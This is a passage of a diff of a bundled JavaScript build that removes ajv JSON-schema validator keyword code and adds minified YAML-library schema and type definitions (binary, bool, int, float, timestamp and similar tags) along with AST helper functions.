(opts.removeAdditional !== "all" && (0, util_1.alwaysValidSchema)(it2, schema8)) - return; - const props = (0, code_1.allSchemaProperties)(parentSchema.properties); - const patProps = (0, code_1.allSchemaProperties)(parentSchema.patternProperties); - checkAdditionalProperties(); - cxt.ok((0, codegen_1._)`${errsCount} === ${names_1.default.errors}`); - function checkAdditionalProperties() { - gen.forIn("key", data, (key) => { - if (!props.length && !patProps.length) - additionalPropertyCode(key); - else - gen.if(isAdditional(key), () => additionalPropertyCode(key)); - }); + class a7 { + constructor(e12) { + this.include = e12.include || [], this.implicit = e12.implicit || [], this.explicit = e12.explicit || [], this.implicit.forEach(function(e13) { + if (e13.loadKind && "scalar" !== e13.loadKind) + throw new r8("There is a non-scalar type in the implicit list of a schema. Implicit resolving of such types is not supported."); + }), this.compiledImplicit = s7(this, "implicit", []), this.compiledExplicit = s7(this, "explicit", []), this.compiledTypeMap = function() { + var e13, t10, i9 = {}; + function n9(e14) { + i9[e14.tag] = e14; + } + for (e13 = 0, t10 = arguments.length; e13 < t10; e13 += 1) + arguments[e13].forEach(n9); + return i9; + }(this.compiledImplicit, this.compiledExplicit); + } } - function isAdditional(key) { - let definedProp; - if (props.length > 8) { - const propsSchema = (0, util_1.schemaRefOrVal)(it2, parentSchema.properties, "properties"); - definedProp = (0, code_1.isOwnProperty)(gen, propsSchema, key); - } else if (props.length) { - definedProp = (0, codegen_1.or)(...props.map((p7) => (0, codegen_1._)`${key} === ${p7}`)); - } else { - definedProp = codegen_1.nil; + t9.Schema = a7, a7.DEFAULT = null, a7.create = function() { + var e12, t10; + switch (arguments.length) { + case 1: + e12 = a7.DEFAULT, t10 = arguments[0]; + break; + case 2: + e12 = arguments[0], t10 = arguments[1]; + break; + default: + throw new r8("Wrong number of arguments for Schema.create function"); } - if (patProps.length) { - definedProp = (0, codegen_1.or)(definedProp, ...patProps.map((p7) => (0, codegen_1._)`${(0, code_1.usePattern)(cxt, p7)}.test(${key})`)); + if (e12 = n8.toArray(e12), t10 = n8.toArray(t10), !e12.every(function(e13) { + return e13 instanceof a7; + })) + throw new r8("Specified list of super schemas (or a single Schema object) contains a non-Schema object."); + if (!t10.every(function(e13) { + return e13 instanceof o7.Type; + })) + throw new r8("Specified list of YAML types (or a single Type object) contains a non-Type object."); + return new a7({ include: e12, explicit: t10 }); + }; + }, 17646: (e11, t9, i8) => { + "use strict"; + const n8 = i8(63114); + e11.exports = new n8.Schema({ include: [i8(24875)] }); + }, 80406: (e11, t9, i8) => { + "use strict"; + const n8 = i8(63114); + var r8 = new n8.Schema({ include: [i8(23102)], explicit: [i8(64520), i8(20903)] }); + n8.Schema.DEFAULT = r8, e11.exports = r8; + }, 23102: (e11, t9, i8) => { + "use strict"; + var n8 = new (i8(63114)).Schema({ include: [i8(17646)], implicit: [i8(25138), i8(67514)], explicit: [i8(27529), i8(6805), i8(95967), i8(33530)] }); + e11.exports = n8; + }, 84452: (e11, t9, i8) => { + "use strict"; + const n8 = i8(63114); + e11.exports = new n8.Schema({ explicit: [i8(41381), i8(62021), i8(35744)] }); + }, 24875: (e11, t9, i8) => { + "use strict"; + const n8 = i8(63114); + e11.exports = new n8.Schema({ include: [i8(84452)], implicit: [i8(99049), i8(86628), i8(84627), i8(77620)] }); + }, 23697: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(94716); + var r8 = ["kind", "resolve", "construct", "instanceOf", "predicate", "represent", "defaultStyle", "styleAliases"], o7 = ["scalar", "sequence", "mapping"]; + t9.Type = class { + constructor(e12, t10) { + var i9, s7; + if (t10 = t10 || {}, Object.keys(t10).forEach(function(t11) { + if (-1 === r8.indexOf(t11)) + throw new n8('Unknown option "' + t11 + '" is met in definition of "' + e12 + '" YAML type.'); + }), this.tag = e12, this.kind = t10.kind || null, this.resolve = t10.resolve || function() { + return true; + }, this.construct = t10.construct || function(e13) { + return e13; + }, this.instanceOf = t10.instanceOf || null, this.predicate = t10.predicate || null, this.represent = t10.represent || null, this.defaultStyle = t10.defaultStyle || null, this.styleAliases = (i9 = t10.styleAliases || null, s7 = {}, null !== i9 && Object.keys(i9).forEach(function(e13) { + i9[e13].forEach(function(t11) { + s7[String(t11)] = e13; + }); + }), s7), -1 === o7.indexOf(this.kind)) + throw new n8('Unknown kind "' + this.kind + '" is specified for "' + e12 + '" YAML type.'); } - return (0, codegen_1.not)(definedProp); + }; + }, 27529: (e11, t9, i8) => { + "use strict"; + var n8 = i8(1048).hp; + const r8 = i8(23697); + var o7 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\n\r"; + e11.exports = new r8.Type("tag:yaml.org,2002:binary", { kind: "scalar", resolve: function(e12) { + if (null === e12) + return false; + var t10, i9, n9 = 0, r9 = e12.length, s7 = o7; + for (i9 = 0; i9 < r9; i9++) + if (!((t10 = s7.indexOf(e12.charAt(i9))) > 64)) { + if (t10 < 0) + return false; + n9 += 6; + } + return n9 % 8 == 0; + }, construct: function(e12) { + var t10, i9, r9 = e12.replace(/[\r\n=]/g, ""), s7 = r9.length, a7 = o7, p7 = 0, c7 = []; + for (t10 = 0; t10 < s7; t10++) + t10 % 4 == 0 && t10 && (c7.push(p7 >> 16 & 255), c7.push(p7 >> 8 & 255), c7.push(255 & p7)), p7 = p7 << 6 | a7.indexOf(r9.charAt(t10)); + return 0 == (i9 = s7 % 4 * 6) ? (c7.push(p7 >> 16 & 255), c7.push(p7 >> 8 & 255), c7.push(255 & p7)) : 18 === i9 ? (c7.push(p7 >> 10 & 255), c7.push(p7 >> 2 & 255)) : 12 === i9 && c7.push(p7 >> 4 & 255), n8 ? new n8(c7) : c7; + }, predicate: function(e12) { + return n8 && n8.isBuffer(e12); + }, represent: function(e12) { + var t10, i9, n9 = "", r9 = 0, s7 = e12.length, a7 = o7; + for (t10 = 0; t10 < s7; t10++) + t10 % 3 == 0 && t10 && (n9 += a7[r9 >> 18 & 63], n9 += a7[r9 >> 12 & 63], n9 += a7[r9 >> 6 & 63], n9 += a7[63 & r9]), r9 = (r9 << 8) + e12[t10]; + return 0 == (i9 = s7 % 3) ? (n9 += a7[r9 >> 18 & 63], n9 += a7[r9 >> 12 & 63], n9 += a7[r9 >> 6 & 63], n9 += a7[63 & r9]) : 2 === i9 ? (n9 += a7[r9 >> 10 & 63], n9 += a7[r9 >> 4 & 63], n9 += a7[r9 << 2 & 63], n9 += a7[64]) : 1 === i9 && (n9 += a7[r9 >> 2 & 63], n9 += a7[r9 << 4 & 63], n9 += a7[64], n9 += a7[64]), n9; + } }); + }, 86628: (e11, t9, i8) => { + "use strict"; + const n8 = i8(23697); + e11.exports = new n8.Type("tag:yaml.org,2002:bool", { kind: "scalar", resolve: function(e12) { + if (null === e12) + return false; + var t10 = e12.length; + return 4 === t10 && ("true" === e12 || "True" === e12 || "TRUE" === e12) || 5 === t10 && ("false" === e12 || "False" === e12 || "FALSE" === e12); + }, construct: function(e12) { + return "true" === e12 || "True" === e12 || "TRUE" === e12; + }, predicate: function(e12) { + return "[object Boolean]" === Object.prototype.toString.call(e12); + }, represent: { lowercase: function(e12) { + return e12 ? "true" : "false"; + }, uppercase: function(e12) { + return e12 ? "TRUE" : "FALSE"; + }, camelcase: function(e12) { + return e12 ? "True" : "False"; + } }, defaultStyle: "lowercase" }); + }, 77620: (e11, t9, i8) => { + "use strict"; + const n8 = i8(29228), r8 = i8(23697); + var o7 = new RegExp("^(?:[-+]?(?:[0-9][0-9_]*)(?:\\.[0-9_]*)?(?:[eE][-+]?[0-9]+)?|\\.[0-9_]+(?:[eE][-+]?[0-9]+)?|[-+]?\\.(?:inf|Inf|INF)|\\.(?:nan|NaN|NAN))$"); + e11.exports = new r8.Type("tag:yaml.org,2002:float", { kind: "scalar", resolve: function(e12) { + return null !== e12 && !!o7.test(e12); + }, construct: function(e12) { + var t10, i9, n9, r9; + return i9 = "-" === (t10 = e12.replace(/_/g, "").toLowerCase())[0] ? -1 : 1, r9 = [], 0 <= "+-".indexOf(t10[0]) && (t10 = t10.slice(1)), ".inf" === t10 ? 1 === i9 ? Number.POSITIVE_INFINITY : Number.NEGATIVE_INFINITY : ".nan" === t10 ? NaN : 0 <= t10.indexOf(":") ? (t10.split(":").forEach(function(e13) { + r9.unshift(parseFloat(e13, 10)); + }), t10 = 0, n9 = 1, r9.forEach(function(e13) { + t10 += e13 * n9, n9 *= 60; + }), i9 * t10) : i9 * parseFloat(t10, 10); + }, predicate: function(e12) { + return "[object Number]" === Object.prototype.toString.call(e12) && (0 != e12 % 1 || n8.isNegativeZero(e12)); + }, represent: function(e12, t10) { + if (isNaN(e12)) + switch (t10) { + case "lowercase": + return ".nan"; + case "uppercase": + return ".NAN"; + case "camelcase": + return ".NaN"; + } + else if (Number.POSITIVE_INFINITY === e12) + switch (t10) { + case "lowercase": + return ".inf"; + case "uppercase": + return ".INF"; + case "camelcase": + return ".Inf"; + } + else if (Number.NEGATIVE_INFINITY === e12) + switch (t10) { + case "lowercase": + return "-.inf"; + case "uppercase": + return "-.INF"; + case "camelcase": + return "-.Inf"; + } + else if (n8.isNegativeZero(e12)) + return "-0.0"; + return e12.toString(10); + }, defaultStyle: "lowercase" }); + }, 84627: (e11, t9, i8) => { + "use strict"; + const n8 = i8(29228), r8 = i8(23697); + function o7(e12) { + return 48 <= e12 && e12 <= 55; } - function deleteAdditional(key) { - gen.code((0, codegen_1._)`delete ${data}[${key}]`); + function s7(e12) { + return 48 <= e12 && e12 <= 57; } - function additionalPropertyCode(key) { - if (opts.removeAdditional === "all" || opts.removeAdditional && schema8 === false) { - deleteAdditional(key); - return; - } - if (schema8 === false) { - cxt.setParams({ additionalProperty: key }); - cxt.error(); - if (!allErrors) - gen.break(); - return; + e11.exports = new r8.Type("tag:yaml.org,2002:int", { kind: "scalar", resolve: function(e12) { + if (null === e12) + return false; + var t10, i9, n9 = e12.length, r9 = 0, a7 = false; + if (!n9) + return false; + if ("-" !== (t10 = e12[r9]) && "+" !== t10 || (t10 = e12[++r9]), "0" === t10) { + if (r9 + 1 === n9) + return true; + if ("b" === (t10 = e12[++r9])) { + for (r9++; r9 < n9; r9++) + if ("_" !== (t10 = e12[r9])) { + if ("0" !== t10 && "1" !== t10) + return false; + a7 = true; + } + return a7; + } + if ("x" === t10) { + for (r9++; r9 < n9; r9++) + if ("_" !== (t10 = e12[r9])) { + if (!(48 <= (i9 = e12.charCodeAt(r9)) && i9 <= 57 || 65 <= i9 && i9 <= 70 || 97 <= i9 && i9 <= 102)) + return false; + a7 = true; + } + return a7; + } + for (; r9 < n9; r9++) + if ("_" !== (t10 = e12[r9])) { + if (!o7(e12.charCodeAt(r9))) { + a7 = false; + break; + } + a7 = true; + } + if (a7) + return a7; } - if (typeof schema8 == "object" && !(0, util_1.alwaysValidSchema)(it2, schema8)) { - const valid = gen.name("valid"); - if (opts.removeAdditional === "failing") { - applyAdditionalSchema(key, valid, false); - gen.if((0, codegen_1.not)(valid), () => { - cxt.reset(); - deleteAdditional(key); - }); - } else { - applyAdditionalSchema(key, valid); - if (!allErrors) - gen.if((0, codegen_1.not)(valid), () => gen.break()); + for (; r9 < n9; r9++) + if ("_" !== (t10 = e12[r9])) { + if (":" === t10) + break; + if (!s7(e12.charCodeAt(r9))) + return false; + a7 = true; } + return !!a7 && (":" !== t10 || /^(:[0-5]?[0-9])+$/.test(e12.slice(r9))); + }, construct: function(e12) { + var t10, i9, n9 = e12, r9 = 1, o8 = []; + return -1 !== n9.indexOf("_") && (n9 = n9.replace(/_/g, "")), "-" !== (t10 = n9[0]) && "+" !== t10 || ("-" === t10 && (r9 = -1), t10 = (n9 = n9.slice(1))[0]), "0" === n9 ? 0 : "0" === t10 ? "b" === n9[1] ? r9 * parseInt(n9.slice(2), 2) : "x" === n9[1] ? r9 * parseInt(n9, 16) : r9 * parseInt(n9, 8) : -1 !== n9.indexOf(":") ? (n9.split(":").forEach(function(e13) { + o8.unshift(parseInt(e13, 10)); + }), n9 = 0, i9 = 1, o8.forEach(function(e13) { + n9 += e13 * i9, i9 *= 60; + }), r9 * n9) : r9 * parseInt(n9, 10); + }, predicate: function(e12) { + const t10 = Object.prototype.toString.call(e12); + return "[object Number]" === t10 && 0 == e12 % 1 && !n8.isNegativeZero(e12) || "[object BigInt]" === t10; + }, represent: { binary: function(e12) { + return "0b" + e12.toString(2); + }, octal: function(e12) { + return "0" + e12.toString(8); + }, decimal: function(e12) { + return e12.toString(10); + }, hexadecimal: function(e12) { + return "0x" + e12.toString(16).toUpperCase(); + } }, defaultStyle: "decimal", styleAliases: { binary: [2, "bin"], octal: [8, "oct"], decimal: [10, "dec"], hexadecimal: [16, "hex"] } }); + }, 20903: (e11, t9, i8) => { + "use strict"; + const n8 = i8(23697); + e11.exports = new n8.Type("tag:yaml.org,2002:js/regexp", { kind: "scalar", resolve: function(e12) { + if (null === e12) + return false; + if (0 === e12.length) + return false; + var t10 = e12, i9 = /\/([gim]*)$/.exec(e12), n9 = ""; + if ("/" === t10[0]) { + if (i9 && (n9 = i9[1]), n9.length > 3) + return false; + if ("/" !== t10[t10.length - n9.length - 1]) + return false; + t10 = t10.slice(1, t10.length - n9.length - 1); } - } - function applyAdditionalSchema(key, valid, errors) { - const subschema = { - keyword: "additionalProperties", - dataProp: key, - dataPropType: util_1.Type.Str - }; - if (errors === false) { - Object.assign(subschema, { - compositeRule: true, - createErrors: false, - allErrors: false - }); + try { + return new RegExp(t10, n9), true; + } catch (e13) { + return false; } - cxt.subschema(subschema, valid); - } - } - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/applicator/properties.js -var require_properties = __commonJS({ - "node_modules/ajv/dist/vocabularies/applicator/properties.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var validate_1 = require_validate(); - var code_1 = require_code2(); - var util_1 = require_util(); - var additionalProperties_1 = require_additionalProperties(); - var def = { - keyword: "properties", - type: "object", - schemaType: "object", - code(cxt) { - const { gen, schema: schema8, parentSchema, data, it: it2 } = cxt; - if (it2.opts.removeAdditional === "all" && parentSchema.additionalProperties === void 0) { - additionalProperties_1.default.code(new validate_1.KeywordCxt(it2, additionalProperties_1.default, "additionalProperties")); - } - const allProps = (0, code_1.allSchemaProperties)(schema8); - for (const prop of allProps) { - it2.definedProperties.add(prop); - } - if (it2.opts.unevaluated && allProps.length && it2.props !== true) { - it2.props = util_1.mergeEvaluated.props(gen, (0, util_1.toHash)(allProps), it2.props); - } - const properties = allProps.filter((p7) => !(0, util_1.alwaysValidSchema)(it2, schema8[p7])); - if (properties.length === 0) - return; - const valid = gen.name("valid"); - for (const prop of properties) { - if (hasDefault(prop)) { - applyPropertySchema(prop); - } else { - gen.if((0, code_1.propertyInData)(gen, data, prop, it2.opts.ownProperties)); - applyPropertySchema(prop); - if (!it2.allErrors) - gen.else().var(valid, true); - gen.endIf(); + }, construct: function(e12) { + var t10 = e12, i9 = /\/([gim]*)$/.exec(e12), n9 = ""; + return "/" === t10[0] && (i9 && (n9 = i9[1]), t10 = t10.slice(1, t10.length - n9.length - 1)), new RegExp(t10, n9); + }, predicate: function(e12) { + return "[object RegExp]" === Object.prototype.toString.call(e12); + }, represent: function(e12) { + var t10 = "/" + e12.source + "/"; + return e12.global && (t10 += "g"), e12.multiline && (t10 += "m"), e12.ignoreCase && (t10 += "i"), t10; + } }); + }, 64520: (e11, t9, i8) => { + "use strict"; + const n8 = i8(23697); + e11.exports = new n8.Type("tag:yaml.org,2002:js/undefined", { kind: "scalar", resolve: function() { + return true; + }, construct: function() { + }, predicate: function(e12) { + return void 0 === e12; + }, represent: function() { + return ""; + } }); + }, 35744: (e11, t9, i8) => { + "use strict"; + const n8 = i8(23697); + e11.exports = new n8.Type("tag:yaml.org,2002:map", { kind: "mapping", construct: function(e12) { + return null !== e12 ? e12 : {}; + } }); + }, 67514: (e11, t9, i8) => { + "use strict"; + const n8 = i8(23697); + e11.exports = new n8.Type("tag:yaml.org,2002:merge", { kind: "scalar", resolve: function(e12) { + return "<<" === e12 || null === e12; + } }); + }, 99049: (e11, t9, i8) => { + "use strict"; + const n8 = i8(23697); + e11.exports = new n8.Type("tag:yaml.org,2002:null", { kind: "scalar", resolve: function(e12) { + if (null === e12) + return true; + var t10 = e12.length; + return 1 === t10 && "~" === e12 || 4 === t10 && ("null" === e12 || "Null" === e12 || "NULL" === e12); + }, construct: function() { + return null; + }, predicate: function(e12) { + return null === e12; + }, represent: { canonical: function() { + return "~"; + }, lowercase: function() { + return "null"; + }, uppercase: function() { + return "NULL"; + }, camelcase: function() { + return "Null"; + } }, defaultStyle: "lowercase" }); + }, 6805: (e11, t9, i8) => { + "use strict"; + const n8 = i8(23697); + var r8 = Object.prototype.hasOwnProperty, o7 = Object.prototype.toString; + e11.exports = new n8.Type("tag:yaml.org,2002:omap", { kind: "sequence", resolve: function(e12) { + if (null === e12) + return true; + var t10, i9, n9, s7, a7, p7 = [], c7 = e12; + for (t10 = 0, i9 = c7.length; t10 < i9; t10 += 1) { + if (n9 = c7[t10], a7 = false, "[object Object]" !== o7.call(n9)) + return false; + for (s7 in n9) + if (r8.call(n9, s7)) { + if (a7) + return false; + a7 = true; + } + if (!a7) + return false; + if (-1 !== p7.indexOf(s7)) + return false; + p7.push(s7); } - cxt.it.definedProperties.add(prop); - cxt.ok(valid); - } - function hasDefault(prop) { - return it2.opts.useDefaults && !it2.compositeRule && schema8[prop].default !== void 0; - } - function applyPropertySchema(prop) { - cxt.subschema({ - keyword: "properties", - schemaProp: prop, - dataProp: prop - }, valid); - } - } - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/applicator/patternProperties.js -var require_patternProperties = __commonJS({ - "node_modules/ajv/dist/vocabularies/applicator/patternProperties.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var code_1 = require_code2(); - var codegen_1 = require_codegen(); - var util_1 = require_util(); - var util_2 = require_util(); - var def = { - keyword: "patternProperties", - type: "object", - schemaType: "object", - code(cxt) { - const { gen, schema: schema8, data, parentSchema, it: it2 } = cxt; - const { opts } = it2; - const patterns = (0, code_1.allSchemaProperties)(schema8); - const alwaysValidPatterns = patterns.filter((p7) => (0, util_1.alwaysValidSchema)(it2, schema8[p7])); - if (patterns.length === 0 || alwaysValidPatterns.length === patterns.length && (!it2.opts.unevaluated || it2.props === true)) { - return; - } - const checkProperties = opts.strictSchema && !opts.allowMatchingProperties && parentSchema.properties; - const valid = gen.name("valid"); - if (it2.props !== true && !(it2.props instanceof codegen_1.Name)) { - it2.props = (0, util_2.evaluatedPropsToName)(gen, it2.props); - } - const { props } = it2; - validatePatternProperties(); - function validatePatternProperties() { - for (const pat of patterns) { - if (checkProperties) - checkMatchingProperties(pat); - if (it2.allErrors) { - validateProperties(pat); - } else { - gen.var(valid, true); - validateProperties(pat); - gen.if(valid); - } + return true; + }, construct: function(e12) { + return null !== e12 ? e12 : []; + } }); + }, 95967: (e11, t9, i8) => { + "use strict"; + const n8 = i8(23697), r8 = i8(37952); + var o7 = Object.prototype.toString; + e11.exports = new n8.Type("tag:yaml.org,2002:pairs", { kind: "sequence", resolve: function(e12) { + if (null === e12) + return true; + if (e12.kind != r8.Kind.SEQ) + return false; + var t10, i9, n9, s7 = e12.items; + for (t10 = 0, i9 = s7.length; t10 < i9; t10 += 1) { + if (n9 = s7[t10], "[object Object]" !== o7.call(n9)) + return false; + if (!Array.isArray(n9.mappings)) + return false; + if (1 !== n9.mappings.length) + return false; + } + return true; + }, construct: function(e12) { + if (null === e12 || !Array.isArray(e12.items)) + return []; + let t10, i9, n9, o8 = e12.items; + for (n9 = r8.newItems(), n9.parent = e12.parent, n9.startPosition = e12.startPosition, n9.endPosition = e12.endPosition, t10 = 0, i9 = o8.length; t10 < i9; t10 += 1) { + let e13 = o8[t10].mappings[0], i10 = r8.newItems(); + i10.parent = n9, i10.startPosition = e13.key.startPosition, i10.endPosition = e13.value.startPosition, e13.key.parent = i10, e13.value.parent = i10, i10.items = [e13.key, e13.value], n9.items.push(i10); + } + return n9; + } }); + }, 62021: (e11, t9, i8) => { + "use strict"; + const n8 = i8(23697); + e11.exports = new n8.Type("tag:yaml.org,2002:seq", { kind: "sequence", construct: function(e12) { + return null !== e12 ? e12 : []; + } }); + }, 33530: (e11, t9, i8) => { + "use strict"; + const n8 = i8(23697), r8 = i8(37952); + Object.prototype.hasOwnProperty, e11.exports = new n8.Type("tag:yaml.org,2002:set", { kind: "mapping", resolve: function(e12) { + return null === e12 || e12.kind == r8.Kind.MAP; + }, construct: function(e12) { + return null !== e12 ? e12 : {}; + } }); + }, 41381: (e11, t9, i8) => { + "use strict"; + const n8 = i8(23697); + e11.exports = new n8.Type("tag:yaml.org,2002:str", { kind: "scalar", construct: function(e12) { + return null !== e12 ? e12 : ""; + } }); + }, 25138: (e11, t9, i8) => { + "use strict"; + const n8 = i8(23697); + var r8 = new RegExp("^([0-9][0-9][0-9][0-9])-([0-9][0-9]?)-([0-9][0-9]?)(?:(?:[Tt]|[ \\t]+)([0-9][0-9]?):([0-9][0-9]):([0-9][0-9])(?:\\.([0-9]*))?(?:[ \\t]*(Z|([-+])([0-9][0-9]?)(?::([0-9][0-9]))?))?)?$"); + e11.exports = new n8.Type("tag:yaml.org,2002:timestamp", { kind: "scalar", resolve: function(e12) { + return null !== e12 && null !== r8.exec(e12); + }, construct: function(e12) { + var t10, i9, n9, o7, s7, a7, p7, c7, d7 = 0, f8 = null; + if (null === (t10 = r8.exec(e12))) + throw new Error("Date resolve error"); + if (i9 = +t10[1], n9 = +t10[2] - 1, o7 = +t10[3], !t10[4]) + return new Date(Date.UTC(i9, n9, o7)); + if (s7 = +t10[4], a7 = +t10[5], p7 = +t10[6], t10[7]) { + for (d7 = t10[7].slice(0, 3); d7.length < 3; ) + d7 += "0"; + d7 = +d7; } + return t10[9] && (f8 = 6e4 * (60 * +t10[10] + +(t10[11] || 0)), "-" === t10[9] && (f8 = -f8)), c7 = new Date(Date.UTC(i9, n9, o7, s7, a7, p7, d7)), f8 && c7.setTime(c7.getTime() - f8), c7; + }, instanceOf: Date, represent: function(e12) { + return e12.toISOString(); + } }); + }, 37952: (e11, t9) => { + "use strict"; + var i8; + function n8() { + return { errors: [], startPosition: -1, endPosition: -1, items: [], kind: i8.SEQ, parent: null }; } - function checkMatchingProperties(pat) { - for (const prop in checkProperties) { - if (new RegExp(pat).test(prop)) { - (0, util_1.checkStrictMode)(it2, `property ${prop} matches pattern ${pat} (use allowMatchingProperties)`); + Object.defineProperty(t9, "__esModule", { value: true }), function(e12) { + e12[e12.SCALAR = 0] = "SCALAR", e12[e12.MAPPING = 1] = "MAPPING", e12[e12.MAP = 2] = "MAP", e12[e12.SEQ = 3] = "SEQ", e12[e12.ANCHOR_REF = 4] = "ANCHOR_REF", e12[e12.INCLUDE_REF = 5] = "INCLUDE_REF"; + }(i8 = t9.Kind || (t9.Kind = {})), t9.newMapping = function(e12, t10) { + var n9 = t10 ? t10.endPosition : e12.endPosition + 1; + return { key: e12, value: t10, startPosition: e12.startPosition, endPosition: n9, kind: i8.MAPPING, parent: null, errors: [] }; + }, t9.newAnchorRef = function(e12, t10, n9, r8) { + return { errors: [], referencesAnchor: e12, value: r8, startPosition: t10, endPosition: n9, kind: i8.ANCHOR_REF, parent: null }; + }, t9.newScalar = function(e12 = "") { + const t10 = { errors: [], startPosition: -1, endPosition: -1, value: "" + e12, kind: i8.SCALAR, parent: null, doubleQuoted: false, rawValue: "" + e12 }; + return "string" != typeof e12 && (t10.valueObject = e12), t10; + }, t9.newItems = n8, t9.newSeq = function() { + return n8(); + }, t9.newMap = function(e12) { + return { errors: [], startPosition: -1, endPosition: -1, mappings: e12 || [], kind: i8.MAP, parent: null }; + }; + }, 2185: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(82585), r8 = i8(88725); + t9.buildJsonPath = function(e12) { + const t10 = []; + let i9 = e12; + for (; e12; ) { + switch (e12.kind) { + case n8.Kind.SCALAR: + t10.unshift(e12.value); + break; + case n8.Kind.MAPPING: + i9 !== e12.key && (t10.length > 0 && r8.isObject(e12.value) && e12.value.value === t10[0] ? t10[0] = e12.key.value : t10.unshift(e12.key.value)); + break; + case n8.Kind.SEQ: + if (i9) { + const r9 = e12.items.indexOf(i9); + i9.kind === n8.Kind.SCALAR ? t10[0] = r9 : -1 !== r9 && t10.unshift(r9); + } } + i9 = e12, e12 = e12.parent; } - } - function validateProperties(pat) { - gen.forIn("key", data, (key) => { - gen.if((0, codegen_1._)`${(0, code_1.usePattern)(cxt, pat)}.test(${key})`, () => { - const alwaysValid = alwaysValidPatterns.includes(pat); - if (!alwaysValid) { - cxt.subschema({ - keyword: "patternProperties", - schemaProp: pat, - dataProp: key, - dataPropType: util_2.Type.Str - }, valid); - } - if (it2.opts.unevaluated && props !== true) { - gen.assign((0, codegen_1._)`${props}[${key}]`, true); - } else if (!alwaysValid && !it2.allErrors) { - gen.if((0, codegen_1.not)(valid), () => gen.break()); + return t10; + }; + }, 79157: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(82585), r8 = i8(88725); + t9.dereferenceAnchor = (e12, i9) => { + if (!r8.isObject(e12)) + return e12; + if (e12.kind === n8.Kind.ANCHOR_REF && e12.referencesAnchor === i9) + return null; + switch (e12.kind) { + case n8.Kind.MAP: + return Object.assign({}, e12, { mappings: e12.mappings.map((e13) => t9.dereferenceAnchor(e13, i9)) }); + case n8.Kind.SEQ: + return Object.assign({}, e12, { items: e12.items.map((e13) => t9.dereferenceAnchor(e13, i9)) }); + case n8.Kind.MAPPING: + return Object.assign({}, e12, { value: t9.dereferenceAnchor(e12.value, i9) }); + case n8.Kind.SCALAR: + return e12; + case n8.Kind.ANCHOR_REF: + return r8.isObject(e12.value) && o7(e12) ? null : e12; + default: + return e12; + } + }; + const o7 = (e12) => { + const { referencesAnchor: t10 } = e12; + let i9 = e12; + for (; i9 = i9.parent; ) + if ("anchorId" in i9 && i9.anchorId === t10) + return true; + return false; + }; + }, 77665: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(2185), r8 = i8(82585), o7 = i8(88725); + function s7(e12, t10, i9) { + const n9 = i9[t10 - 1] + 1, o8 = i9[t10]; + switch (e12.kind) { + case r8.Kind.MAPPING: + return e12.key; + case r8.Kind.MAP: + if (0 !== e12.mappings.length) { + for (const r9 of e12.mappings) + if (r9.startPosition > n9 && r9.startPosition <= o8) + return s7(r9, t10, i9); } - }); - }); - } - } - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/applicator/not.js -var require_not = __commonJS({ - "node_modules/ajv/dist/vocabularies/applicator/not.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var util_1 = require_util(); - var def = { - keyword: "not", - schemaType: ["object", "boolean"], - trackErrors: true, - code(cxt) { - const { gen, schema: schema8, it: it2 } = cxt; - if ((0, util_1.alwaysValidSchema)(it2, schema8)) { - cxt.fail(); - return; + break; + case r8.Kind.SEQ: + if (0 !== e12.items.length) { + for (const r9 of e12.items) + if (null !== r9 && r9.startPosition > n9 && r9.startPosition <= o8) + return s7(r9, t10, i9); + } + } + return e12; } - const valid = gen.name("valid"); - cxt.subschema({ - keyword: "not", - compositeRule: true, - createErrors: false, - allErrors: false - }, valid); - cxt.failResult(valid, () => cxt.reset(), () => cxt.error()); - }, - error: { message: "must NOT be valid" } - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/applicator/anyOf.js -var require_anyOf = __commonJS({ - "node_modules/ajv/dist/vocabularies/applicator/anyOf.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var code_1 = require_code2(); - var def = { - keyword: "anyOf", - schemaType: "array", - trackErrors: true, - code: code_1.validateUnion, - error: { message: "must match a schema in anyOf" } - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/applicator/oneOf.js -var require_oneOf = __commonJS({ - "node_modules/ajv/dist/vocabularies/applicator/oneOf.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var codegen_1 = require_codegen(); - var util_1 = require_util(); - var error2 = { - message: "must match exactly one schema in oneOf", - params: ({ params }) => (0, codegen_1._)`{passingSchemas: ${params.passing}}` - }; - var def = { - keyword: "oneOf", - schemaType: "array", - trackErrors: true, - error: error2, - code(cxt) { - const { gen, schema: schema8, parentSchema, it: it2 } = cxt; - if (!Array.isArray(schema8)) - throw new Error("ajv implementation error"); - if (it2.opts.discriminator && parentSchema.discriminator) - return; - const schArr = schema8; - const valid = gen.let("valid", false); - const passing = gen.let("passing", null); - const schValid = gen.name("_valid"); - cxt.setParams({ passing }); - gen.block(validateOneOf); - cxt.result(valid, () => cxt.reset(), () => cxt.error(true)); - function validateOneOf() { - schArr.forEach((sch, i7) => { - let schCxt; - if ((0, util_1.alwaysValidSchema)(it2, sch)) { - gen.var(schValid, true); - } else { - schCxt = cxt.subschema({ - keyword: "oneOf", - schemaProp: i7, - compositeRule: true - }, schValid); - } - if (i7 > 0) { - gen.if((0, codegen_1._)`${schValid} && ${valid}`).assign(valid, false).assign(passing, (0, codegen_1._)`[${passing}, ${i7}]`).else(); + function a7(e12, t10, i9, n9) { + for (const s8 of function* (e13) { + switch (e13.kind) { + case r8.Kind.MAP: + if 